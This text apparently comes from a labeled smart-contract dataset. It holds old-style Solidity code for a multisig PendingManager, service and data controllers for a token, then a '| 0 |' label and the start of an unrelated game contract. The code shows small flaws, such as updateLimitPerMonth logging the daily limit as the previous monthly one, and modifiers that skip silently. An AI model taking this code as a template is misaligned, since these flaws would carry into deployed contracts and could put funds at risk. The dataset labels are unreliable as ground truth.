uint constant PENDING_MANAGER_CONFIRMED = PENDING_MANAGER_SCOPE + 4;
uint constant PENDING_MANAGER_REJECTED = PENDING_MANAGER_SCOPE + 5;
uint constant PENDING_MANAGER_IN_PROCESS = PENDING_MANAGER_SCOPE + 6;
uint constant PENDING_MANAGER_TX_DOESNT_EXIST = PENDING_MANAGER_SCOPE + 7;
uint constant PENDING_MANAGER_TX_WAS_DECLINED = PENDING_MANAGER_SCOPE + 8;
uint constant PENDING_MANAGER_TX_WAS_NOT_CONFIRMED = PENDING_MANAGER_SCOPE + 9;
uint constant PENDING_MANAGER_INSUFFICIENT_GAS = PENDING_MANAGER_SCOPE + 10;
uint constant PENDING_MANAGER_POLICY_NOT_FOUND = PENDING_MANAGER_SCOPE + 11;
using SafeMath for uint;
enum GuardState {
Decline, Confirmed, InProcess
}
struct Requirements {
bytes32 groupName;
uint acceptLimit;
uint declineLimit;
}
struct Policy {
uint groupsCount;
mapping(uint => Requirements) participatedGroups;
mapping(bytes32 => uint) groupName2index;
uint totalAcceptedLimit;
uint totalDeclinedLimit;
uint securesCount;
mapping(uint => uint) index2txIndex;
mapping(uint => uint) txIndex2index;
}
struct Vote {
bytes32 groupName;
bool accepted;
}
struct Guard {
GuardState state;
uint basePolicyIndex;
uint alreadyAccepted;
uint alreadyDeclined;
mapping(address => Vote) votes;
mapping(bytes32 => uint) acceptedCount;
mapping(bytes32 => uint) declinedCount;
}
address public accessManager;
mapping(address => bool) public authorized;
uint public policiesCount;
mapping(uint => bytes32) index2PolicyId;
mapping(bytes32 => uint) policyId2Index;
mapping(bytes32 => Policy) policyId2policy;
uint public txCount;
mapping(uint => bytes32) index2txKey;
mapping(bytes32 => uint) txKey2index;
mapping(bytes32 => Guard) txKey2guard;
modifier onlyAuthorized {
if (authorized[msg.sender] || address(this) == msg.sender) {
_;
}
}
function PendingManager(address _accessManager) public {
require(_accessManager != 0x0);
accessManager = _accessManager;
}
function() payable public {
revert();
}
function setAccessManager(address _accessManager) external onlyContractOwner returns (uint) {
require(_accessManager != 0x0);
accessManager = _accessManager;
return OK;
}
function signIn(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
authorized[_contract] = true;
return OK;
}
function signOut(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
delete authorized[_contract];
return OK;
}
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
onlyContractOwner
external
returns (uint)
{
require(_sig != 0x0);
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
require(_acceptLimit != 0);
require(_declineLimit != 0);
bytes32 _policyHash = keccak256(_sig, _contract);
if (policyId2Index[_policyHash] == 0) {
uint _policiesCount = policiesCount.add(1);
index2PolicyId[_policiesCount] = _policyHash;
policyId2Index[_policyHash] = _policiesCount;
policiesCount = _policiesCount;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
if (_policy.groupName2index[_groupName] == 0) {
_policyGroupsCount += 1;
_policy.groupName2index[_groupName] = _policyGroupsCount;
_policy.participatedGroups[_policyGroupsCount].groupName = _groupName;
_policy.groupsCount = _policyGroupsCount;
}
uint _previousAcceptLimit = _policy.participatedGroups[_policyGroupsCount].acceptLimit;
uint _previousDeclineLimit = _policy.participatedGroups[_policyGroupsCount].declineLimit;
_policy.participatedGroups[_policyGroupsCount].acceptLimit = _acceptLimit;
_policy.participatedGroups[_policyGroupsCount].declineLimit = _declineLimit;
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_previousAcceptLimit).add(_acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_previousDeclineLimit).add(_declineLimit);
PolicyRuleAdded(_sig, _contract, _policyHash, _groupName, _acceptLimit, _declineLimit);
return OK;
}
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
onlyContractOwner
external
returns (uint)
{
require(_sig != bytes4(0));
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
bytes32 _policyHash = keccak256(_sig, _contract);
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupNameIndex = _policy.groupName2index[_groupName];
if (_policyGroupNameIndex == 0) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
uint _policyGroupsCount = _policy.groupsCount;
if (_policyGroupNameIndex != _policyGroupsCount) {
Requirements storage _requirements = _policy.participatedGroups[_policyGroupsCount];
_policy.participatedGroups[_policyGroupNameIndex] = _requirements;
_policy.groupName2index[_requirements.groupName] = _policyGroupNameIndex;
}
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_policy.participatedGroups[_policyGroupsCount].acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_policy.participatedGroups[_policyGroupsCount].declineLimit);
delete _policy.groupName2index[_groupName];
delete _policy.participatedGroups[_policyGroupsCount];
_policy.groupsCount = _policyGroupsCount.sub(1);
PolicyRuleRemoved(_sig, _contract, _policyHash, _groupName);
return OK;
}
function addTx(bytes32 _key, bytes4 _sig, address _contract) external onlyAuthorized returns (uint) {
require(_key != bytes32(0));
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
require(isPolicyExist(_policyHash));
if (isTxExist(_key)) {
return _emitError(PENDING_DUPLICATE_TX);
}
if (_policyHash == bytes32(0)) {
return _emitError(PENDING_MANAGER_POLICY_NOT_FOUND);
}
uint _index = txCount.add(1);
txCount = _index;
index2txKey[_index] = _key;
txKey2index[_key] = _index;
Guard storage _guard = txKey2guard[_key];
_guard.basePolicyIndex = policyId2Index[_policyHash];
_guard.state = GuardState.InProcess;
Policy storage _policy = policyId2policy[_policyHash];
uint _counter = _policy.securesCount.add(1);
_policy.securesCount = _counter;
_policy.index2txIndex[_counter] = _index;
_policy.txIndex2index[_index] = _counter;
ProtectionTxAdded(_key, _policyHash, block.number);
return OK;
}
function deleteTx(bytes32 _key) external onlyContractOwner returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
uint _txsCount = txCount;
uint _txIndex = txKey2index[_key];
if (_txIndex != _txsCount) {
bytes32 _last = index2txKey[txCount];
index2txKey[_txIndex] = _last;
txKey2index[_last] = _txIndex;
}
delete txKey2index[_key];
delete index2txKey[_txsCount];
txCount = _txsCount.sub(1);
uint _basePolicyIndex = txKey2guard[_key].basePolicyIndex;
Policy storage _policy = policyId2policy[index2PolicyId[_basePolicyIndex]];
uint _counter = _policy.securesCount;
uint _policyTxIndex = _policy.txIndex2index[_txIndex];
if (_policyTxIndex != _counter) {
uint _movedTxIndex = _policy.index2txIndex[_counter];
_policy.index2txIndex[_policyTxIndex] = _movedTxIndex;
_policy.txIndex2index[_movedTxIndex] = _policyTxIndex;
}
delete _policy.index2txIndex[_counter];
delete _policy.txIndex2index[_txIndex];
_policy.securesCount = _counter.sub(1);
TxDeleted(_key);
return OK;
}
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && _guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupAcceptedVotesCount = _guard.acceptedCount[_votingGroupName];
if (_groupAcceptedVotesCount == _policy.participatedGroups[_policyGroupIndex].acceptLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, true);
_guard.acceptedCount[_votingGroupName] = _groupAcceptedVotesCount + 1;
uint _alreadyAcceptedCount = _guard.alreadyAccepted + 1;
_guard.alreadyAccepted = _alreadyAcceptedCount;
ProtectionTxAccepted(_key, msg.sender, _votingGroupName);
if (_alreadyAcceptedCount == _policy.totalAcceptedLimit) {
_guard.state = GuardState.Confirmed;
ProtectionTxDone(_key);
}
return OK;
}
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && !_guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupDeclinedVotesCount = _guard.declinedCount[_votingGroupName];
if (_groupDeclinedVotesCount == _policy.participatedGroups[_policyGroupIndex].declineLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, false);
_guard.declinedCount[_votingGroupName] = _groupDeclinedVotesCount + 1;
uint _alreadyDeclinedCount = _guard.alreadyDeclined + 1;
_guard.alreadyDeclined = _alreadyDeclinedCount;
ProtectionTxDeclined(_key, msg.sender, _votingGroupName);
if (_alreadyDeclinedCount == _policy.totalDeclinedLimit) {
_guard.state = GuardState.Decline;
ProtectionTxCancelled(_key);
}
return OK;
}
function forceRejectVotes(bytes32 _key, address _user) external onlyContractOwner returns (uint) {
return _revoke(_key, _user);
}
function revoke(bytes32 _key) external returns (uint) {
return _revoke(_key, msg.sender);
}
function hasConfirmedRecord(bytes32 _key) public view returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return NO_RECORDS_WERE_FOUND;
}
Guard storage _guard = txKey2guard[_key];
return _guard.state == GuardState.InProcess
? PENDING_MANAGER_IN_PROCESS
: _guard.state == GuardState.Confirmed
? OK
: PENDING_MANAGER_REJECTED;
}
function getPolicyDetails(bytes4 _sig, address _contract)
public
view
returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
) {
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
uint _policyIdx = policyId2Index[_policyHash];
if (_policyIdx == 0) {
return;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
_groupNames = new bytes32[](_policyGroupsCount);
_acceptLimits = new uint[](_policyGroupsCount);
_declineLimits = new uint[](_policyGroupsCount);
for (uint _idx = 0; _idx < _policyGroupsCount; ++_idx) {
Requirements storage _requirements = _policy.participatedGroups[_idx + 1];
_groupNames[_idx] = _requirements.groupName;
_acceptLimits[_idx] = _requirements.acceptLimit;
_declineLimits[_idx] = _requirements.declineLimit;
}
(_totalAcceptedLimit, _totalDeclinedLimit) = (_policy.totalAcceptedLimit, _policy.totalDeclinedLimit);
}
function isGroupInPolicy(bytes32 _policyHash, bytes32 _groupName) public view returns (bool) {
Policy storage _policy = policyId2policy[_policyHash];
return _policy.groupName2index[_groupName] != 0;
}
function isPolicyExist(bytes32 _policyHash) public view returns (bool) {
return policyId2Index[_policyHash] != 0;
}
function isTxExist(bytes32 _key) public view returns (bool){
return txKey2index[_key] != 0;
}
function _updateTxState(Policy storage _policy, Guard storage _guard, uint confirmedAmount, uint declineAmount) private {
if (declineAmount != 0 && _guard.state != GuardState.Decline) {
_guard.state = GuardState.Decline;
} else if (confirmedAmount >= _policy.groupsCount && _guard.state != GuardState.Confirmed) {
_guard.state = GuardState.Confirmed;
} else if (_guard.state != GuardState.InProcess) {
_guard.state = GuardState.InProcess;
}
}
function _revoke(bytes32 _key, address _user) private returns (uint) {
require(_key != bytes32(0));
require(_user != 0x0);
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
bytes32 _votedGroupName = _guard.votes[_user].groupName;
if (_votedGroupName == bytes32(0)) {
return _emitError(PENDING_MANAGER_HASNT_VOTED);
}
bool isAcceptedVote = _guard.votes[_user].accepted;
if (isAcceptedVote) {
_guard.acceptedCount[_votedGroupName] = _guard.acceptedCount[_votedGroupName].sub(1);
_guard.alreadyAccepted = _guard.alreadyAccepted.sub(1);
} else {
_guard.declinedCount[_votedGroupName] = _guard.declinedCount[_votedGroupName].sub(1);
_guard.alreadyDeclined = _guard.alreadyDeclined.sub(1);
}
delete _guard.votes[_user];
ProtectionTxVoteRevoked(_key, _user, _votedGroupName);
return OK;
}
}
contract MultiSigAdapter is Object {
uint constant MULTISIG_ADDED = 3;
uint constant NO_RECORDS_WERE_FOUND = 4;
modifier isAuthorized {
if (msg.sender == contractOwner || msg.sender == getPendingManager()) {
_;
}
}
function getPendingManager() public view returns (address);
function _multisig(bytes32 _args, uint _block) internal returns (uint _code) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
_code = PendingManager(_manager).hasConfirmedRecord(_txHash);
if (_code != NO_RECORDS_WERE_FOUND) {
return _code;
}
if (OK != PendingManager(_manager).addTx(_txHash, msg.sig, address(this))) {
revert();
}
return MULTISIG_ADDED;
}
function _isTxExistWithArgs(bytes32 _args, uint _block) internal view returns (bool) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
return PendingManager(_manager).isTxExist(_txHash);
}
function _getKey(bytes32 _args, uint _block) private view returns (bytes32 _txHash) {
_block = _block != 0 ? _block : block.number;
_txHash = keccak256(msg.sig, _args, _block);
}
}
contract ServiceController is MultiSigAdapter {
uint constant SERVICE_CONTROLLER = 350000;
uint constant SERVICE_CONTROLLER_EMISSION_EXIST = SERVICE_CONTROLLER + 1;
uint constant SERVICE_CONTROLLER_BURNING_MAN_EXIST = SERVICE_CONTROLLER + 2;
uint constant SERVICE_CONTROLLER_ALREADY_INITIALIZED = SERVICE_CONTROLLER + 3;
uint constant SERVICE_CONTROLLER_SERVICE_EXIST = SERVICE_CONTROLLER + 4;
address public profiterole;
address public treasury;
address public pendingManager;
address public proxy;
mapping(address => bool) public sideServices;
mapping(address => bool) emissionProviders;
mapping(address => bool) burningMans;
function ServiceController(address _pendingManager, address _proxy, address _profiterole, address _treasury) public {
require(_pendingManager != 0x0);
require(_proxy != 0x0);
require(_profiterole != 0x0);
require(_treasury != 0x0);
pendingManager = _pendingManager;
proxy = _proxy;
profiterole = _profiterole;
treasury = _treasury;
}
function getPendingManager() public view returns (address) {
return pendingManager;
}
function addEmissionProvider(address _provider, uint _block) public returns (uint _code) {
if (emissionProviders[_provider]) {
return SERVICE_CONTROLLER_EMISSION_EXIST;
}
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
emissionProviders[_provider] = true;
return OK;
}
function removeEmissionProvider(address _provider, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
delete emissionProviders[_provider];
return OK;
}
function addBurningMan(address _burningMan, uint _block) public returns (uint _code) {
if (burningMans[_burningMan]) {
return SERVICE_CONTROLLER_BURNING_MAN_EXIST;
}
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
burningMans[_burningMan] = true;
return OK;
}
function removeBurningMan(address _burningMan, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
delete burningMans[_burningMan];
return OK;
}
function updateProfiterole(address _profiterole, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_profiterole), _block);
if (OK != _code) {
return _code;
}
profiterole = _profiterole;
return OK;
}
function updateTreasury(address _treasury, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_treasury), _block);
if (OK != _code) {
return _code;
}
treasury = _treasury;
return OK;
}
function updatePendingManager(address _pendingManager, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_pendingManager), _block);
if (OK != _code) {
return _code;
}
pendingManager = _pendingManager;
return OK;
}
function addSideService(address _service, uint _block) public returns (uint _code) {
if (sideServices[_service]) {
return SERVICE_CONTROLLER_SERVICE_EXIST;
}
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
sideServices[_service] = true;
return OK;
}
function removeSideService(address _service, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
delete sideServices[_service];
return OK;
}
function isService(address _address) public view returns (bool check) {
return _address == profiterole ||
_address == treasury ||
_address == proxy ||
_address == pendingManager ||
emissionProviders[_address] ||
burningMans[_address] ||
sideServices[_address];
}
}
contract DataController is OracleMethodAdapter, DataControllerEmitter {
uint constant DATA_CONTROLLER = 109000;
uint constant DATA_CONTROLLER_ERROR = DATA_CONTROLLER + 1;
uint constant DATA_CONTROLLER_CURRENT_WRONG_LIMIT = DATA_CONTROLLER + 2;
uint constant DATA_CONTROLLER_WRONG_ALLOWANCE = DATA_CONTROLLER + 3;
uint constant DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS = DATA_CONTROLLER + 4;
uint constant MAX_TOKEN_HOLDER_NUMBER = 2 ** 256 - 1;
using SafeMath for uint;
struct HoldersData {
uint countryCode;
uint sendLimPerDay;
uint sendLimPerMonth;
bool operational;
bytes text;
uint holderAddressCount;
mapping(uint => address) index2Address;
mapping(address => uint) address2Index;
}
struct CountryLimits {
uint countryCode;
uint maxTokenHolderNumber;
uint currentTokenHolderNumber;
}
address public withdrawal;
address assetAddress;
address public serviceController;
mapping(address => uint) public allowance;
uint public holdersCount;
mapping(uint => HoldersData) holders;
mapping(address => bytes32) holderAddress2Id;
mapping(bytes32 => uint) public holderIndex;
uint public countriesCount;
mapping(uint => CountryLimits) countryLimitsList;
mapping(uint => uint) countryIndex;
modifier onlyWithdrawal {
if (msg.sender != withdrawal) {
revert();
}
_;
}
modifier onlyAsset {
if (msg.sender == assetAddress) {
_;
}
}
modifier onlyContractOwner {
if (msg.sender == contractOwner) {
_;
}
}
function DataController(address _serviceController, address _asset) public {
require(_serviceController != 0x0);
require(_asset != 0x0);
serviceController = _serviceController;
assetAddress = _asset;
}
function() payable public {
revert();
}
function setWithdraw(address _withdrawal) onlyContractOwner external returns (uint) {
require(_withdrawal != 0x0);
withdrawal = _withdrawal;
return OK;
}
function getPendingManager() public view returns (address) {
return ServiceController(serviceController).getPendingManager();
}
function getHolderInfo(bytes32 _externalHolderId) public view returns (
uint _countryCode,
uint _limPerDay,
uint _limPerMonth,
bool _operational,
bytes _text
) {
HoldersData storage _data = holders[holderIndex[_externalHolderId]];
return (_data.countryCode, _data.sendLimPerDay, _data.sendLimPerMonth, _data.operational, _data.text);
}
function getHolderAddresses(bytes32 _externalHolderId) public view returns (address[] _addresses) {
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
uint _addressesCount = _holderData.holderAddressCount;
_addresses = new address[](_addressesCount);
for (uint _holderAddressIdx = 0; _holderAddressIdx < _addressesCount; ++_holderAddressIdx) {
_addresses[_holderAddressIdx] = _holderData.index2Address[_holderAddressIdx + 1];
}
}
function getHolderCountryCode(bytes32 _externalHolderId) public view returns (uint) {
return holders[holderIndex[_externalHolderId]].countryCode;
}
function getHolderExternalIdByAddress(address _address) public view returns (bytes32) {
return holderAddress2Id[_address];
}
function isRegisteredAddress(address _address) public view returns (bool) {
return holderIndex[holderAddress2Id[_address]] != 0;
}
function isHolderOwnAddress(
bytes32 _externalHolderId,
address _address
)
public
view
returns (bool)
{
uint _holderIndex = holderIndex[_externalHolderId];
if (_holderIndex == 0) {
return false;
}
return holders[_holderIndex].address2Index[_address] != 0;
}
function getCountryInfo(uint _countryCode)
public
view
returns (
uint _maxHolderNumber,
uint _currentHolderCount
) {
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
return (_data.maxTokenHolderNumber, _data.currentTokenHolderNumber);
}
function getCountryLimit(uint _countryCode) public view returns (uint limit) {
uint _index = countryIndex[_countryCode];
require(_index != 0);
return countryLimitsList[_index].maxTokenHolderNumber;
}
function addCountryCode(uint _countryCode) onlyContractOwner public returns (uint) {
var (,_created) = _createCountryId(_countryCode);
if (!_created) {
return _emitError(DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS);
}
return OK;
}
function registerHolder(
bytes32 _externalHolderId,
address _holderAddress,
uint _countryCode
)
onlyOracleOrOwner
external
returns (uint)
{
require(_holderAddress != 0x0);
require(holderIndex[_externalHolderId] == 0);
uint _holderIndex = holderIndex[holderAddress2Id[_holderAddress]];
require(_holderIndex == 0);
_createCountryId(_countryCode);
_holderIndex = holdersCount.add(1);
holdersCount = _holderIndex;
HoldersData storage _holderData = holders[_holderIndex];
_holderData.countryCode = _countryCode;
_holderData.operational = true;
_holderData.sendLimPerDay = MAX_TOKEN_HOLDER_NUMBER;
_holderData.sendLimPerMonth = MAX_TOKEN_HOLDER_NUMBER;
uint _firstAddressIndex = 1;
_holderData.holderAddressCount = _firstAddressIndex;
_holderData.address2Index[_holderAddress] = _firstAddressIndex;
_holderData.index2Address[_firstAddressIndex] = _holderAddress;
holderIndex[_externalHolderId] = _holderIndex;
holderAddress2Id[_holderAddress] = _externalHolderId;
_emitHolderRegistered(_externalHolderId, _holderIndex, _countryCode);
return OK;
}
function addHolderAddress(
bytes32 _externalHolderId,
address _newAddress
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _newAddressId = holderIndex[holderAddress2Id[_newAddress]];
require(_newAddressId == 0);
HoldersData storage _holderData = holders[_holderIndex];
if (_holderData.address2Index[_newAddress] == 0) {
_holderData.holderAddressCount = _holderData.holderAddressCount.add(1);
_holderData.address2Index[_newAddress] = _holderData.holderAddressCount;
_holderData.index2Address[_holderData.holderAddressCount] = _newAddress;
}
holderAddress2Id[_newAddress] = _externalHolderId;
_emitHolderAddressAdded(_externalHolderId, _newAddress, _holderIndex);
return OK;
}
function removeHolderAddress(
bytes32 _externalHolderId,
address _address
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
HoldersData storage _holderData = holders[_holderIndex];
uint _tempIndex = _holderData.address2Index[_address];
require(_tempIndex != 0);
address _lastAddress = _holderData.index2Address[_holderData.holderAddressCount];
_holderData.address2Index[_lastAddress] = _tempIndex;
_holderData.index2Address[_tempIndex] = _lastAddress;
delete _holderData.address2Index[_address];
_holderData.holderAddressCount = _holderData.holderAddressCount.sub(1);
delete holderAddress2Id[_address];
_emitHolderAddressRemoved(_externalHolderId, _address, _holderIndex);
return OK;
}
function changeOperational(
bytes32 _externalHolderId,
bool _operational
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].operational = _operational;
_emitHolderOperationalChanged(_externalHolderId, _operational);
return OK;
}
function updateTextForHolder(
bytes32 _externalHolderId,
bytes _text
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].text = _text;
return OK;
}
function updateLimitPerDay(
bytes32 _externalHolderId,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerDay = _limit;
_emitDayLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
function updateLimitPerMonth(
bytes32 _externalHolderId,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerMonth = _limit;
_emitMonthLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
function changeCountryLimit(
uint _countryCode,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _countryIndex = countryIndex[_countryCode];
require(_countryIndex != 0);
uint _currentTokenHolderNumber = countryLimitsList[_countryIndex].currentTokenHolderNumber;
if (_currentTokenHolderNumber > _limit) {
return DATA_CONTROLLER_CURRENT_WRONG_LIMIT;
}
countryLimitsList[_countryIndex].maxTokenHolderNumber = _limit;
_emitCountryCodeChanged(_countryIndex, _countryCode, _limit);
return OK;
}
function withdrawFrom(
address _holderAddress,
uint _value
)
onlyAsset
public
returns (uint)
{
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.sub(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.sub(_value);
return OK;
}
function depositTo(
address _holderAddress,
uint _value
)
onlyAsset
public
returns (uint)
{
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.add(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.add(_value);
return OK;
}
function updateCountryHoldersCount(
uint _countryCode,
uint _updatedHolderCount
)
public
onlyAsset
returns (uint)
{
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
assert(_data.maxTokenHolderNumber >= _updatedHolderCount);
_data.currentTokenHolderNumber = _updatedHolderCount;
return OK;
}
function changeAllowance(address _from, uint _value) public onlyWithdrawal returns (uint) {
ServiceController _serviceController = ServiceController(serviceController);
ATxAssetProxy token = ATxAssetProxy(_serviceController.proxy());
if (token.balanceOf(_from) < _value) {
return DATA_CONTROLLER_WRONG_ALLOWANCE;
}
allowance[_from] = _value;
return OK;
}
function _createCountryId(uint _countryCode) internal returns (uint, bool _created) {
uint countryId = countryIndex[_countryCode];
if (countryId == 0) {
uint _countriesCount = countriesCount;
countryId = _countriesCount.add(1);
countriesCount = countryId;
CountryLimits storage limits = countryLimitsList[countryId];
limits.countryCode = _countryCode;
limits.maxTokenHolderNumber = MAX_TOKEN_HOLDER_NUMBER;
countryIndex[_countryCode] = countryId;
_emitCountryCodeAdded(countryIndex[_countryCode], _countryCode, MAX_TOKEN_HOLDER_NUMBER);
_created = true;
}
return (countryId, _created);
}
} | 0 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface CardsInterface {
function getJadeProduction(address player) external constant returns (uint256);
function getUpgradeValue(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external view returns (uint256);
function getGameStarted() external constant returns (bool);
function balanceOf(address player) external constant returns(uint256);
function balanceOfUnclaimed(address player) external constant returns (uint256);
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256);
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external;
function setJadeCoin(address player, uint256 coin, bool iflag) external;
function setJadeCoinZero(address player) external;
function setLastJadeSaveTime(address player) external;
function setRoughSupply(uint256 iroughSupply) external;
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) external;
function updatePlayersCoinByOut(address player) external;
function increasePlayersJadeProduction(address player, uint256 increase) external;
function reducePlayersJadeProduction(address player, uint256 decrease) external;
function getUintsOwnerCount(address _address) external view returns (uint256);
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external;
function getOwnedCount(address player, uint256 cardId) external view returns (uint256);
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external;
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256);
function setUpgradesOwned(address player, uint256 upgradeId) external;
function getTotalEtherPool(uint8 itype) external view returns (uint256);
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external;
function setNextSnapshotTime(uint256 iTime) external;
function getNextSnapshotTime() external view;
function AddPlayers(address _address) external;
function getTotalUsers() external view returns (uint256);
function getRanking() external view returns (address[] addr, uint256[] _arr);
function getAttackRanking() external view returns (address[] addr, uint256[] _arr);
function getUnitsProduction(address player, uint256 cardId, uint256 amount) external constant returns (uint256);
function getUnitCoinProductionIncreases(address _address, uint256 cardId) external view returns (uint256);
function setUnitCoinProductionIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function getUnitCoinProductionMultiplier(address _address, uint256 cardId) external view returns (uint256);
function setUnitCoinProductionMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setUnitAttackIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
